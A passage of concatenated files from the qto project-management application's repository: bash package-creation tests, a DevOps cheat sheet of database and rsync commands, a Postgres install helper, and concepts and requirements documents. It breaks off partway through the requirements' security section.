exit_code=$? do_log " create-relative-package.test-1 exit_code: $exit_code " sleep "$sleep_interval" test $exit_code -ne 0 && return # test the call with the include file of the tst env bash src/bash/qto/qto.sh -a create-relative-package -i met/.tst.qto export exit_code=$? do_log " create-relative-package.test-2 exit_code: $exit_code " sleep "$sleep_interval" test $exit_code -ne 0 && return # test the call with the include file of the prd env bash src/bash/qto/qto.sh -a create-relative-package -i met/.prd.qto export exit_code=$? do_log " create-relative-package.test-3 exit_code: $exit_code " sleep "$sleep_interval" test $exit_code -ne 0 && return # test the call with the include file of the prd env bash src/bash/qto/qto.sh -a create-relative-package -i met/.git.qto export exit_code=$? do_log " create-relative-package.test-4 exit_code: $exit_code " sleep "$sleep_interval" test $exit_code -ne 0 && return do_log " STOP : create-relative-package.test" } #eof doCreateRelativePackage <file_sep># file: doc/cheats/qto-cheat-sheet.sh psql -d "$postgres_app_db" -c "GRANT SELECT,INSERT,UPDATE,DELETE,TRUNCATE ON ALL TABLES IN SCHEMA public TO $postgres_app_usr; GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO $postgres_app_usr; GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO $postgres_app_usr; ALTER DEFAULT PRIVILEGES FOR USER $postgres_app_usr IN SCHEMA public GRANT SELECT ON TABLES TO $postgres_app_usr; " # how-to check the perl syntax of single perl file : perl -MCarp::Always -I `pwd`/src/perl/*/ -I `pwd`/src/perl/*/lib/ -wc \ src/perl/qto/lib/Qto/App/Db/In/Postgres/RdrPostgresDb.pm # start load env vars export PROJ_INSTANCE_DIR=`pwd` # or could be any qto proj export PROJ_CONF_FILE=`pwd`/cnf/env/prd.env.json # or could be any qto proj's conf file source lib/bash/funcs/export-json-section-vars.sh do_export_json_section_vars $PROJ_INSTANCE_DIR/cnf/env/prd.env.json '.env.db' alias psql="PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -t -X -w -U ${postgres_sys_usr_admin:-} --host $postgres_rdbms_host --port $postgres_rdbms_port" ./src/bash/qto/qto.sh -a provision-db-admin # change the db-admin pw ./src/bash/qto/qto.sh -a provision-app-user # change the app user pw # how-to load xls sheets into tables , obs - do_truncate_tables=1 WILL truncate the postgres tables export do_truncate_tables=0 ; clear ; perl src/perl/qto/script/qto.pl --do xls-to-db --tables system_guide_doc clear ; ./src/bash/qto/qto.sh -a backup-postgres-db-inserts clear ; ./src/bash/qto/qto.sh -a backup-postgres-table -t readme_doc export docs_root_dir=`pwd` # or could be any qto proj dir clear ; ./src/bash/qto/qto.sh -a generate-md-docs # export the documentation of the desired db clear ; ./src/bash/qto/qto.sh -a generate-pdf-docs # export the documentation of the desired db ./src/bash/qto/qto.sh -a mojo-hypnotoad-start # start the hypnotoad web server # how-to run sql as the postgres user clear ; sudo su - postgres -c "psql -d postgres -c \"drop database dev_qto\"" clear ; sudo su - postgres -c "psql -d postgres -c \"create database dev_qto\"" # get the id,guid,name from the back-end api mojo get 'http://host-name:8082/tst_qto/hiselect/requirements_doc?bid=0' |jq '.dat[]|.id,.guid,.name' mojo get 'http://host-name:8082/tst_qto/hiselect/requirements_doc?bid=0&oa=seq' |jq '.dat[]|{id,guid,name} ' psql -t -d dev_qto -c "select array_to_json(array_agg(row_to_json(t))) from ( select * from release_issues ) t"|jq # list all the tables in the terminal clear ; psql -d dev_qto -t -c '\dt' | cut -c 11- | perl -ne 's/^([a-z_0-9]*)( )(.*)/$1/; print ' # how-to backup dirs from remote to local export ssh_user=ubuntu; export ssh_server=172.16.31.10 export tgt_dir=/tmp/dir-to-be-overwritten; export src_dir=/tmp/dir-to-be-rsynced rsync -e "ssh -l USERID -i ~/.ssh/id_rsa.tst.qto" -av -r --partial --progress --human-readable \ --stats --delete-excluded $ssh_user@$ssh_server:$src_dir $tgt_dir export ssh_server=qto.fi export ssh_user=ubuntu export src_dir=/home/ubuntu/opt/qto export tgt_dir=/hos/opt/opt rsync -e "ssh -l USERID -i ~/.ssh/id_rsa.aws-ec2.qto.prd" -av -r --partial --progress --human-readable --stats $ssh_user@$ssh_server:$src_dir $tgt_dir # eof file: doc/cheats/qto-cheat-sheet.sh <file_sep>doCheckTmuxIsInstalled(){ which tmux >/dev/null 2>&1 || { do_log "FATAL ERROR - tmux is not installed or not in PATH. To install it do run sudo apt-get install -y tmux or sudo yum install -y tmux or brew install tmux Aborting." >&2; exit 1; } } terminal_size(){ stty size 2>/dev/null | awk '{ printf "-x%d -y%d", $2, $1 }' } session_exists(){ tmux has-session -t "$1" 2>/dev/null } add_window(){ tmux new-window -d -t "$1:" -n "$2" -c "$3" } new_tmux_session(){ cd "$3" && tmux new-session -d -s "$1" -n "$2" $4 } <file_sep># QTO APPLICATION CONCEPTS * [1. INTRO](#1-intro) * [1.1. PURPOSE](#11-purpose) * [1.2. AUDIENCE](#12-audience) * [1.3. RELATED DOCUMENTATION](#13-related-documentation) * [2. BUSINESS LOGIC](#2-business-logic) * [2.1. PROJECTS MANAGEMENT](#21-projects-management) * [2.2. INCIDENTS AND WORK MANAGEMENT VIA ISSUES](#22-incidents-and-work-management-via-issues) * [2.2.1. Monthly issues](#221-monthly-issues) * [2.2.2. Yearly_issues](#222-yearly_issues) * [2.2.3. Categories](#223-categories) * [2.2.4. Issues status](#224-issues-status) * [2.2.5. Issues management via time intervals](#225-issues-management-via-time-intervals) * [2.3. QUESTIONS](#23-questions) * [2.4. IDEAS](#24-ideas) * [2.5. PROBLEMS](#25-problems) * [3. DEFINITIONS](#3-definitions) * [3.1. RELEASE](#31-release) * [4. DOCUMENTATION](#4-documentation) * [4.1. THE CONCEPTS DOC ](#41-the-concepts-doc-) * [4.2. THE USERSTORIES DOC](#42-the-userstories-doc) * [4.3. THE REQUIREMENTS DOCUMENT](#43-the-requirements-document) * [4.4. THE SYSTEM GUIDE](#44-the-system-guide) * [4.5. THE DEVOPS GUIDE](#45-the-devops-guide) * [4.6. THE MAINTENANCE AND OPERATIONS GUIDE](#46-the-maintenance-and-operations-guide) ## 1. INTRO ### 1.1. Purpose The purpose of this document is to present the concepts and the business logic of the qto application for this current version. ### 1.2. Audience This document could be of interest for any potential and actual users of the application. Key-users must read, understand and even be able to present and explain the contents of this document. Developers and Architects working on the application MUST read and understand this document at least to the extent of their own contribution for the application. ### 1.3. Related documentation This document is part of the qto application documentation-set, which contains the following documents: - readme_doc-0 - the initial landing readme doc for the project - userstories_doc-0 - the collection of user-stories used to describe "what is desired" - requirements_doc-0 - the structured collection of the requirements - system_guide_doc-0 - architecture and System description - devops_guide_doc-0 - a guide for the developers and DevOps operators - installations_doc-0 - a guide for installation of the application - enduser_guide_doc-0 - the guide for the usage of the UI ( mainly ) for the end-users - concepts_doc-0 - the concepts doc All the documents should be updated and redistributed in combination of the current version of the application and should be found under the doc/MD directory. ## 2. BUSINESS LOGIC ### 2.1. Projects management Any undertaking or endeavour, carried out individually or collaboratively and possibly involving research or design, that is carefully planned, usually by a project team, to achieve a particular aim could be considered a project. The main purpose of the QTO application is to manage one or more projects from a single User Interface. ### 2.2. Incidents and work management via issues Issue item is the shortest possible description of task, activity, note or anything requiring distinguishable and preferably measurable action or producing verifiable outcome. Issues could be of different types - tasks, activities, notes etc. Simply said the issues are the split by deliverable items of work to be done by the project team. Each issue MUST BE assigned to one and only one person, to foster responsibility and accountability. The issues are split into different periods for greater flexibility enabling both historical storage and tracking AND susceptibility for change. #### 2.2.1. Monthly issues The issues in qto are stored and reviewed on per monthly basis , so that the issues in of the January 2020 are stored in the monthly_issues_202001 table, the issues of February 2020 are stored in the monthly_issues_202002 etc. At the end of each month ( and often also in the middle of the period ) the issues are upserted ( that is new issues are created and those with existing ids updated ) into the yearly_issues_2020 table. #### 2.2.2. Yearly_issues The yearly_issues table MUST have the same structure as the currently active monthly_issues table In SCRUM the backlog is usually reviewed every 2 weeks, you could quickly copy the monthly_issues table and star t using with sprint_01 , sprint_02 , sprint_&lt;&lt;n&gt;&gt; tables ... #### 2.2.3. Categories Each issue item could be categorised under one and only one category. One category might have 1 or more issues. The issues can be split into different categories. You can define your categories from the https://qto.fi/qto/list/category page. #### 2.2.4. Issues status Each issue could be in a different status. You can define the different statuses for an issue from the issue_status list page : https://qto.fi/qto/list/issues_status #### 2.2.5. Issues management via time intervals The issues are basically organised into the following time intervals: - release_issues - the issues to be handled till the next release ( usually, but not always a 2 weeks period) - monthly_issues - the issues to be handled during the next month - yearly - the issues to be handled during the next year - quinquennially - decadally So that in the end of each previous time period you could go trough the issues of that period and transfer up and down in the time scale. The product instance owners have an automated way of transferring the issues from one table to another described in the maintenance_guide_doc-200111060442 document. ### 2.3. Questions Sometimes during the workings of your project you encounter problems, which are complex enough not to allows the definition of an issue. In those cases it would be more rational to just register a question, a problem, an idea, discuss it or review it later on, and define the issue as soon as the problem domain is understood and even possible issue solution could be proposed. Different question statuses can be defined. ### 2.4. Ideas Your organisation might collect, sort and evaluate ideas so that they could be later one used as the row data for issues ( aka concrete work descriptions to be followed). Different ideas statuses can be defined. ### 2.5. Problems Sometimes during the workings of your project you encounter problems, which are complex enough not to allows the definition of an issue. In those cases it would be more rational to just register a question, a problem, an idea, discuss it or review it later on, and define the issue as soon as the problem domain is understood and even possible issue solution could be proposed. Quite often the row input material for the issues are the problems encountered - the better you collect, describe and prioritise the list of problems to tackle the better you will be able to organise the issues to be completed. Different problems statuses can be defined. ## 3. DEFINITIONS This section contains definitions of terms within the context of the qto application. ### 3.1. Release A qto release is the artefact you can download from the following GitHub page: https://github.com/YordanGeorgiev/qto/releases. ## 4. DOCUMENTATION ### 4.1. The Concepts doc This document to contain different planned and/or possible concepts in order to ease your understanding and further exploitation of the application. Of course, we, as QTO team, are here to support your organisation while internal development is on-going. In case the day-to-day requirements extends and/or change, you will be able to make these amendments independently if you will. ### 4.2. The UserStories doc The user stories doc contains the structurized and formal description of the user stories for the application. ### 4.3. The Requirements document The requirements document stores all the requirements for the qto application. ### 4.4. The System Guide The System Guide describes the current and factual state of the System you are actually using. ### 4.5. The DevOps Guide The DevOps Guide contains information on how-to develop, operate and maintain the Application from a DevOps / developer perspective. ### 4.6. The Maintenance and Operations Guide The Maintenance and Operations Guide contains information on how-to maintain and operate the Application. <file_sep> do_chk_install_postgres(){ postgres_repo_url='http://apt.postgresql.org/pub/repos/apt/' postgres_repo_fle='/etc/apt/sources.list.d/pgdg.list' which psql 2>/dev/null || { sudo sh -c 'echo "deb '"$postgres_repo_url"' `lsb_release -cs`-pgdg main" >> '"$postgres_repo_fle" wget -q 'https://www.postgresql.org/media/keys/ACCC4CF8.asc' -O - | sudo apt-key add - sudo apt-get update packages="$(cat << EOF_PACKAGES postgresql postgresql-contrib libpq-dev pgadmin3 EOF_PACKAGES )" while read -r package ; do sudo apt-get install -y $package done < <(echo "$packages"); } which psql 2>/dev/null || { cat << EOF_UNINSTALL FATAL failed to install postgres !!! You might have to run those manually sudo /etc/init.d/postgresql stop sudo /etc/init.d/postgresql status sudo dpkg --configure -a sudo rm -rf /var/log/postgresql/ sudo rm -rf /var/lib/postgresql/ sudo apt-get purge -y remove pgdg-keyring postgresql* sudo apt-get -y purge postgresql sudo apt-get -y purge postgresql-contrib sudo apt-get -y purge libpq-dev sudo apt-get -y purge pgadmin3 sudo apt-get purge -y postgresql-client sudo apt-get -y purge psql EOF_UNINSTALL exit 1 } echo "check the postgres version:" sudo -u postgres psql postgres -c "SELECT version();" | grep 'PostgreSQL' ## ensure the postresql starts on boot sudo update-rc.d postgresql enable } <file_sep>#!/usr/bin/env bash #v1.1.0 #------------------------------------------------------------------------------ # tests the full package creation #------------------------------------------------------------------------------ doTestCreateFullPackage(){ cd $PRODUCT_DIR do_log " INFO START : create-full-package.test" cat doc/txt/qto/tests/pckg/create-full-package.test.txt doSpecCreateFullPackage doHelpCreateFullPackage export exit_code=0 bash src/bash/qto/qto.sh -a create-full-package export exit_code=$? do_log " create-relative-package.test-1 exit_code: $exit_code " sleep "$sleep_interval" test $exit_code -ne 0 && return bash src/bash/qto/qto.sh -a create-full-package -i $PRODUCT_DIR/met/.tst.qto export exit_code=$? do_log " create-relative-package.test-1 exit_code: $exit_code " sleep "$sleep_interval" test $exit_code -ne 0 && return bash src/bash/qto/qto.sh -a create-full-package -i $PRODUCT_DIR/met/.prd.qto export exit_code=$? do_log " create-relative-package.test-1 exit_code: $exit_code " sleep "$sleep_interval" test $exit_code -ne 0 && return bash src/bash/qto/qto.sh -a create-full-package -i $PRODUCT_DIR/met/.git.qto export exit_code=$? do_log " create-relative-package.test-1 exit_code: $exit_code " sleep "$sleep_interval" test $exit_code -ne 0 && return do_log " INFO STOP : create-full-package.test" } #eof test doCreateFullPackage <file_sep># # Informs the user that DB provisioning is done # and that they can start the Mojo server now. # # Pops up in the end of execution of DB provisioning: # ./src/bash/qto/qto.sh -a provision-db-admin -a run-qto-db-ddl -a load-db-data-from-s3 -a notify-success # == # ./src/bash/qto/qto.sh -a set-roles -a create-db -a fill-db -a success # doNotifyProvisioningSuccess(){ cat << EOF_FINAL_SUCCESS ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: QTO installation completed succesfully. Please run this command to start the web server: ./3-start-server.sh ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: EOF_FINAL_SUCCESS } <file_sep># REQUIREMENTS * [1. INTRO](#1-intro) * [1.1. AUDIENCE](#11-audience) * [1.2. RELATED DOCUMENTATION](#12-related-documentation) * [2. DEPLOYABILITY](#2-deployability) * [2.1. DEVOPS DEPLOYABILITY NO LONGER THAN A WEEK RELEASE CYCLE](#21-devops-deployability-no-longer-than-a-week-release-cycle) * [2.2. AUTOMATED AWS DEPLOYMENT IN LESS THAN AN HOUR](#22-automated-aws-deployment-in-less-than-an-hour) * [2.3. FULL DEPLOYMENT IN LESS THAN AN HOUR](#23-full-deployment-in-less-than-an-hour) * [2.3.1. A working instance deployment by simple unzip command](#231-a-working-instance-deployment-by-simple-unzip-command) * [2.3.2. Binary prerequisites check script](#232-binary-prerequisites-check-script) * [2.3.3. Required Perl modules installation](#233-required-perl-modules-installation) * [2.3.4. Installation documentation](#234-installation-documentation) * [2.4. FULL APPLICATION CLONE CREATION IN 5MIN](#24-full-application-clone-creation-in-5min) * [2.4.1. Single shell call for postgres db creation and initial data load](#241-single-shell-call-for-postgres-db-creation-and-initial-data-load) * [2.4.2. One liner for single restore for both full db and inserts only](#242-one-liner-for-single-restore-for-both-full-db-and-inserts-only) * [2.5. ONE AND ONLY ONE PLACE FOR CONFIGURATION ](#25-one-and-only-one-place-for-configuration-) * [3. RELIABILITY AND STABILITY](#3-reliability-and-stability) * [3.1. ZERO TOLLERANCE TOWARDS CRASHING](#31-zero-tollerance-towards-crashing) * [3.2. ZERO TOLERANCE TOWARDS BUGS](#32-zero-tolerance-towards-bugs) * [3.3. E2E VERTICALITY](#33-e2e-verticality) * [3.4. DAILY BACKUPS](#34-daily-backups) * [3.5. LOGGING](#35-logging) * [3.6. FULL BACKUP TO THE CLOUD IN LESS THAN 5 MINUTES](#36-full-backup-to-the-cloud-in-less-than-5-minutes) * [4. USABILITY](#4-usability) * [4.1. APPLICATION WIDE TOP-BAR USABILITY](#41-application-wide-top-bar-usability) * [4.2. APPLICATION WIDE LEFT MENU USABILITY](#42-application-wide-left-menu-usability) * [4.2.1. Left menu global configurability](#421-left-menu-global-configurability) * [4.2.2. Left menu personal customisability](#422-left-menu-personal-customisability) * [4.3. UI USABILITY](#43-ui-usability) * [4.3.1. Application wide top-bar usability](#431-application-wide-top-bar-usability) * [4.3.2. Login page usability](#432-login-page-usability) * [4.3.3. Landing / home page usability](#433-landing-/-home-page-usability) * [4.3.4. View page usability](#434-view-page-usability) * [4.4. ONELINER SHELL CALLS](#44-oneliner-shell-calls) * [4.4.1. Database recreation and DDL scripts run one-liners](#441-database-recreation-and-ddl-scripts-run-one-liners) * [4.4.2. Table(s) load via aa single one-liner](#442-table(s)-load-via-aa-single-one-liner) * [5. SCALABILITY](#5-scalability) * [5.1. HORIZONTAL PERFORMANCE SCALABILITY](#51-horizontal-performance-scalability) * [5.2. FEATURE SCALABILITY](#52-feature-scalability) * [5.3. SETUP SCALABILITY](#53-setup-scalability) * [5.4. PROJECTS DATABASES SCALABILITY](#54-projects-databases-scalability) * [5.5. QTO APPLICATION CLONES SCALABILITY](#55-qto-application-clones-scalability) * [6. PERFORMANCE](#6-performance) * [6.1. PAGE LOAD MAXIMUM TIME](#61-page-load-maximum-time) * [6.2. LOGIN, LOGOUT](#62-login-logout) * [7. MULTI-INSTANCE OPERABILITY AND DEPLOYABILITY](#7-multi-instance-operability-and-deployability) * [7.1. ENVIRONMENT TYPE SELF-AWARENESS](#71-environment-type-self-awareness) * [7.2. CROSS RUNNING BETWEEN INSTANCES OF DIFFERENT TYPES](#72-cross-running-between-instances-of-different-types) * [8. UI REQUIREMENTS](#8-ui-requirements) * [8.1. CRUDS](#81-cruds) * [8.1.1. Execution time](#811-execution-time) * [8.1.2. Visual indication](#812-visual-indication) * [8.2. CLARITY ON ERRORS](#82-clarity-on-errors) * [8.3. INFORMATION SEARCH](#83-information-search) * [8.3.1. Global project search](#831-global-project-search) * [8.3.2. Quick search per page](#832-quick-search-per-page) * [8.4. LOGIN PAGE REQUIREMENTS](#84-login-page-requirements) * [8.5. LIST PAGE REQUIREMENTS](#85-list-page-requirements) * [8.5.1. View page requirements](#851-view-page-requirements) * [9. INTEROPERABILITY](#9-interoperability) * [9.1. DATA IMPORT](#91-data-import) * [9.1.1. Import from xls](#911-import-from-xls) * [9.1.2. Import from json format](#912-import-from-json-format) * [9.1.3. Files upload ](#913-files-upload-) * [9.2. DATA EXPORT](#92-data-export) * [9.2.1. Export to pdf](#921-export-to-pdf) * [9.2.2. Export to md](#922-export-to-md) * [9.2.3. Export to xls](#923-export-to-xls) * [9.2.4. Export to Microsoft docx](#924-export-to-microsoft-docx) * [9.2.5. Export to json](#925-export-to-json) * [10. SECURITY](#10-security) * [10.1. AUTHENTICATION](#101-authentication) * [10.1.1. QTO_NO_AUTH mode](#1011-qto_no_auth-mode) * [10.1.2. Simple Native authentication mode](#1012-simple-native-authentication-mode) * [10.1.2.1. User email and password matching for login success](#10121-user-email-and-password-matching-for-login-success) * [10.1.2.2. The passwords must NOT be stored in clear text](#10122-the-passwords-must-not-be-stored-in-clear-text) * [10.1.2.3. name ...](#10123-name-) * [10.1.2.4. Passwords sensibility](#10124-passwords-sensibility) * [10.1.3. RBAC authentication mode via JWT](#1013-rbac-authentication-mode-via-jwt) * [10.1.3.1. Login](#10131-login) * [10.1.3.2. Must be stateless and thus horizontally scalable](#10132-must-be-stateless-and-thus-horizontally-scalable) * [10.1.3.3. Must not use permanent cookies](#10133-must-not-use-permanent-cookies) * [10.1.3.4. Must not use localStore, but Authorisation header](#10134-must-not-use-localstore-but-authorisation-header) * [10.1.3.5. Must have arymetric signature](#10135-must-have-arymetric-signature) * [10.1.3.6. The tokens must be self-contained](#10136-the-tokens-must-be-self-contained) * [10.1.3.7. Tokens expiration](#10137-tokens-expiration) * [10.1.3.8. Must support whitelisting](#10138-must-support-whitelisting) * [10.1.3.9. Must support black-listing](#10139-must-support-black-listing) * [10.2. AUTHORISATION](#102-authorisation) * [10.2.1. QTO_NO_AUTH mode authorisation](#1021-qto_no_auth-mode-authorisation) * [10.2.2. Simple Native mode authorisation](#1022-simple-native-mode-authorisation) * [10.2.3. RBAC mode authorisation](#1023-rbac-mode-authorisation) * [10.2.3.1. Role-based Access Control](#10231-role-based-access-control) * [10.2.3.2. Authorisation via Json Web Tokens during login](#10232-authorisation-via-json-web-tokens-during-login) * [10.2.3.3. Roles based Access Control list for routes and items](#10233-roles-based-access-control-list-for-routes-and-items) * [10.2.3.4. Role Based Access Control on tables row level](#10234-role-based-access-control-on-tables-row-level) * [10.2.3.5. Support for segregation of duties](#10235-support-for-segregation-of-duties) * [10.2.4. Role level based security ](#1024-role-level-based-security-) * [11. DOCUMENTATION](#11-documentation) * [11.1. DOCUMENTATION COMPLETENESS](#111-documentation-completeness) * [11.2. DOCUMENTATION AND CODE BASE SYNCHRONIZATION](#112-documentation-and-code-base-synchronization) * [11.2.1. Requirements push](#1121-requirements-push) ## 1. INTRO ### 1.1. Audience This document is aimed for any potential and actual developers of the qto application. Product Owners, Developers and Architects working on the application MUST read and understand this document at least to the extend of their own contribution for the application. ### 1.2. Related documentation This document is part of the QTO application documentation-set, which contains the following documents: - ReadMe - the initial landing readme doc for the project - UserStories - the collection of user-stories used to describe "what is desired" - End-User Guide - the guide for the usage of the UI ( mainly ) for the end-users - Requirements - the structured collection of the requirements - SystemGuide - architecture and System description - DevOps Guide - a guide for the developers and devops operators - Installation Guide - a guide for installation of the application - Concepts - the concepts doc You can access all the latest qto documentation from qto site: https://qto.fi in it's native format. All the documents are updated and redistributed in combination of the current version of the application in both md and pdf file format and can be found under the following directories: - doc/md - doc/pdf ## 2. DEPLOYABILITY The qto must be easily deployable on any Unix like OS. Windows family based OS'es are explicitly out of the scope of the qto tool. Any qto instance should be configurable as easily as possible for its version. ### 2.1. DevOps deployability no longer than a week release cycle The qto system should provide the CI infrastructure for the capability to perform frequent releases, with release cycles no longer than a week. For larger releases 2 weeks cycle are acceptable too, with no more than 3 larger releases in a row. ### 2.2. Automated AWS deployment in less than an hour The qto system should be automatically deployable to aws in less than an hour, so that the deployment operator should execute no more than 5 documented commands. ### 2.3. Full deployment in less than an hour The full System should be ready for use by end-users in the latest Ubuntu LTE OS in less than an hour. The whole deployment process MUST BE as automated as possible. #### 2.3.1. A working instance deployment by simple unzip command The qto tool could be deployed by a simply unzip of the full package into a host having the proper binary configuration, which must have all of the documentation and scripts to provide assistance for the setup and the configuration of the tool as well as the initial data to populate the qto database. #### 2.3.2. Binary prerequisites check script All the binaries which are required for the running of the tool must be checked by a user-friendly binaries prerequisites check script. #### 2.3.3. Required Perl modules installation All the required Perl modules must be part of the deployer script. The Perl modules should be installed as non-root user having sudo, which could be removed during the start-up of the application for security reasons. #### 2.3.4. Installation documentation The installation of the required Postgres db must be documented in the DevOps guide, which should have the markdown version in the doc directory of the deployment package. ### 2.4. Full application clone creation in 5min A DevOps operator should be able to perform an application clone ( having app-name changed to new-app-name etc. ) of the Qto application in less than 5 minutes. #### 2.4.1. Single shell call for postgres db creation and initial data load The creation of the Postgres database of a qto project should be doable via a single shell call. #### 2.4.2. One liner for single restore for both full db and inserts only The full database should be loadable form a db dump either from a full dump or from the db-inserts dump only. ### 2.5. One and only one place for configuration Whenever there is a configuration entry indicating part of the configuration of an application instance it should be stored in 1 and only 1 place in the configuration file of the instance, so that any person not familiar with the internal logic of the application could find all the configuration entries in one and only one place including the secrets. ## 3. RELIABILITY AND STABILITY ### 3.1. Zero tollerance towards crashing Crashing in normally configured and operating environment must not be tolerated, as soon as any crash has occurred a bug must be registered and the bug set with the highest possible prio towards the features pipeline. ### 3.2. Zero tolerance towards bugs All bugs and inconsistencies must be dealt with top priority by passing new features implementation. Should the average amount of bugs increase after a release a purely bug fixing release should follow. Any reasonable refactoring could and should bypass the new features implementation. tolerance ### 3.3. e2e verticality The qto source code artefact must contain both the documentation and the references for the published and running qto application AND data, so that any potential developer or user of the application could easily setup a new instance or simply use one relying on the fact that the full stack has been tested and applied according to that very latest release he or she is using. ### 3.4. Daily backups The daily backups of all instance project databases data and secrets should be performed automatically as indispensable part of the functioning of the application. ### 3.5. Logging The application should support configurable logging to STDOUT and STDERR for the following levels - debug, info, warn, trace. ### 3.6. Full backup to the cloud in less than 5 minutes A full backup of the software, configuration and data for the qto and/or another project database should be doable in less than 5 minutes. The backup should be easily searchable from the cloud as well. ## 4. USABILITY The interaction with each endpoint and interface of an application instance should be as user-friendly as possible. As abstract as it may sound the tool must be multi-dimensionally and vertically integrated regarding the questions what, how and why towards a new person interacting with the tool by the usage of code comments , links from the documentations and uuids to be used for simple greping from the docs till the source code. ### 4.1. Application wide top-bar usability The top-bar of the application must be ALWAYS selected during a page load and particularly the omni-search box, so that the user could straight way start quick filtering the textual content of ANY page by typing at least 3 chars in the search box. The top-bar must be visible on ALL pages, except those aimed for printing. ### 4.2. Application wide left menu usability The left menu must be ACCESSIBLE from the SAME button on EVERY non-printable page of the application from the top bar. The left-menu must contain the most commonly used links in the application. The left menu must close itself when the user clicks outside of it. #### 4.2.1. Left menu global configurability The Admin of an instance must be able to fully configure the content of the left menu. #### 4.2.2. Left menu personal customisability Any user should be able to personally configure which are the left menu links, he/she would like to use. The personal links should be capable of fully overriding the links set by the administrator. ### 4.3. UI usability The interaction of with the application UI must be as effortlessly, quickly and user-friendly as possible. #### 4.3.1. Application wide top-bar usability The top-bar of the application must be ALWAYS selected during a page load and particularly the omni-search box, so that the user could straight way start quick filtering the textual content of ANY page by typing at least 3 chars in the search box. The top-bar must be visible on ALL pages, except those aimed for printing. #### 4.3.2. Login page usability The login page must contain clearly on which instance a user is logging in. The login must be executable both with enter and click of the GO button. The login page must load in less than 0.3s. The login after that to the home / landing page must not take more than 0.5 seconds. The error msgs must be as concise, but clear and explanatory as possible. #### 4.3.3. Landing / home page usability The landing / home page must clearly indicate that the user has logged in. It must contain clear UI element(s) to indicate where to go from here. The landing page might contain some additional informative content. #### 4.3.4. View page usability The view page must load in less than 0.3 s. ### 4.4. Oneliner shell calls The interaction of the application on the shell should be designed and implemented so that most of the features and bigger entry points should be accessible via one-liners on the shell - for example the testers should be able to lunch all the unit-tests via a single one line call. The integration tests should be triggerable via single oneline call. #### 4.4.1. Database recreation and DDL scripts run one-liners The developers should be able to create the database via a single oneline call. #### 4.4.2. Table(s) load via aa single one-liner The developers should be able to load a table to the database via a single oneline call. ## 5. SCALABILITY ### 5.1. Horizontal performance scalability The qto MUST support adding capacity horizontally in the application layer and by increasing database storage capacity simply by utilising the power of the cloud. ### 5.2. Feature scalability The addition of new features should be as scalable as possible. The UI and control flow should be as generic as possible. ### 5.3. Setup scalability The creation of new instances of the application should be as easy and automated as possible. ### 5.4. Projects databases scalability Each instance of the qto application must be able to connect to one or many project databases which DDL schemas matching the current api of the application. ### 5.5. Qto application clones scalability The qto application must support cloning - that is "forking" into new applications with different names. ## 6. PERFORMANCE ### 6.1. Page load maximum time Each page of the application containing less than 2000 items MUST load for less than 0.3 seconds. Any new feature which does not meet this requirement should be disregarded or implemented into a clone of the application with different name ( see the cloning / forking section below ). ### 6.2. Login, logout Every login and logout operation MUST complete in less than 0.3 seconds in modern network environments. ## 7. MULTI-INSTANCE OPERABILITY AND DEPLOYABILITY ### 7.1. Environment type self-awareness Each deployed and running instance of the qto must "know" its own environment type - dev, tst, qas or prd to comply with the multi-instance architecture on a single host. ### 7.2. Cross running between instances of different types The application layers should support as much as possible cross running between different application layer instances and database instances - for example a dev application layer should be able to fetch data from a prd database. ## 8. UI REQUIREMENTS The UI of the application must be fast, responsive, easy and pleasant to use. ### 8.1. CRUDs The System must provide the needed UI interfaces to Create , Update , Delete and Search items in the system for the users having the privileges for those actions Any modelled item in the database must be capable for: - create - update - delete - search #### 8.1.1. Execution time The full execution time of any crud operation ( create, update, delete, search) from the end-user of the UI point of view should be less than 0.3 seconds #### 8.1.2. Visual indication The System should not show the so called ok messages, but only error messages ( with added verbosity on the console level ), yet the UI should be as responsive that the end-user would easily understand when an item has been created, updated or deleted. ### 8.2. Clarity on errors The UI must present every error in a clear and concise way, so that the end-user would understand that an error has occurred, however no msgs should be displayed when the data is saved properly. ### 8.3. Information search The UI must enable easy to use and effective search for the end-users from all but the login page. #### 8.3.1. Global project search The UI must support global per project ( i.e. single project database ) text search from all but the login page. #### 8.3.2. Quick search per page Each information on each different type of search must be filterable from the omni search box - both the page content and the auxiliary left and/or right menu. ### 8.4. Login page requirements All login error msgs should be clear and displayed with red colour. ### 8.5. List page requirements Each information on list page must be filterable from the omni search box - both the page content and the auxiliary left and/or right menu. #### 8.5.1. View page requirements Each information on view doc page must be filterable from the omni search box - both the page content and the auxiliary left and/or right menu. ## 9. INTEROPERABILITY The qto application should support export and import from different data formats from both client and server side. ### 9.1. Data import #### 9.1.1. Import from xls The qto application should support a single xls data import. #### 9.1.2. Import from json format The qto application should support a single shell call json file to table import #### 9.1.3. Files upload The qto application should provide an easy to use UI for uploading files, easily accessible from any page of the application. Once the file being uploaded the link to it should be provided to the user to be able to copy paste it into an issue , documentation etc object ... ### 9.2. Data export The qto application must support export to different data formats via both the web interface or terminal access. #### 9.2.1. Export to pdf Any user having tcp access to an up-and-running qto instance must be able to export all or single item doc from that or another qto instance with tcp / ip connectivity into pdf files into a pre-configurable docs root directory both via ui or from an automation script. #### 9.2.2. Export to md Any user having tcp access to an up-and-running qto instance must be able to export all or single item doc from that or another qto instance with tcp / ip connectivity into md files into a pre-configurable docs root directory both via ui or from an automation script. #### 9.2.3. Export to xls Any user having tcp access to an up-and-running qto instance must be able to export all or single item doc from that or another qto instance with tcp / ip connectivity into Microsoft xls files into a pre-configurable docs root directory both via ui or from an automation script. #### 9.2.4. Export to Microsoft docx Any user having an up-and-running qto instance must be able to export all or single item doc from that or another qto instance with tcp / ip connectivity into Microsoft docx files into a pre-configurable docs root directory both via ui or from an automation script. #### 9.2.5. Export to json Any user having an up-and-running qto instance must be able to export all or single table from that or another qto instance with tcp/ip connectivity into json files. ## 10. SECURITY A well operated instance of the qto application should have security corresponding to the data sensitivity it is operating on. For complete walkthrough of instance security check the following document: security_checklist_doc-0 ### 10.1. Authentication There should be the following 2 modes of authentication: #### 10.1.1. QTO_NO_AUTH mode Any qto instance should support a non-authentication mode - that is all users having http and/or https access could perform all the actions on the UI without any restrictions, that is the customer organisation wanting own custom solution for authentication and authorisation should be able to run an instance with non-authorisation mode. This mode MUST BE ALWAYS accessible to devops engineers to be able to quickly restart applications and troubleshoot them without having to add 